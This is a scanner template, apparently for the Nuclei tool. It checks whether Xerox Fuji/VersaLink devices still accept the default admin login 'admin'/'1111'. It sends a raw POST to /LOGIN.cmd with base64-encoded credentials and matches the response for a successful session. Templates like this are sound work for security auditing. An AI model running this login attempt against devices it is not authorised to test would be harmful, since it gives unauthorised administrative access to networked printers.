id: xerox-default-login

info:
  name: Xerox Fuji/VersaLink - Default Login
  author: DhiyaneshDk
  severity: high
  description: |
    The default login credentials for Xerox Fuji/VersaLink devices were used to access the admin panel during setup, typically with “admin” as the username and a default password like “1111” or the device serial number.
  reference:
    - https://www.support.xerox.com/en-us/article/KB0136271
  metadata:
    verified: true
    max-request: 1
  tags: xerox,versalink,fuji,default-login

variables:
  username: admin
  password: 1111

http:
  - raw:
      - |
        POST /LOGIN.cmd HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/home/index.html

        NAME={{base64(username)}}&PSW={{base64(password)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":"0"'
          - '"errorCode":"0"'
        condition: and

      - type: word
        part: header
        words:
          - "ssid="

      - type: status
        status:
          - 200
# digest: 490a0046304402203a0d748cd9fe8e128cfcd6ba3a5821a49698e5a8a4b5db6fd0002de03cdb68dc02207b4a2fecde99c11012ac60feea13e0c93764504c39427e7573c5ec3c126b8522:922c64590222798bb761d5b6d8e72950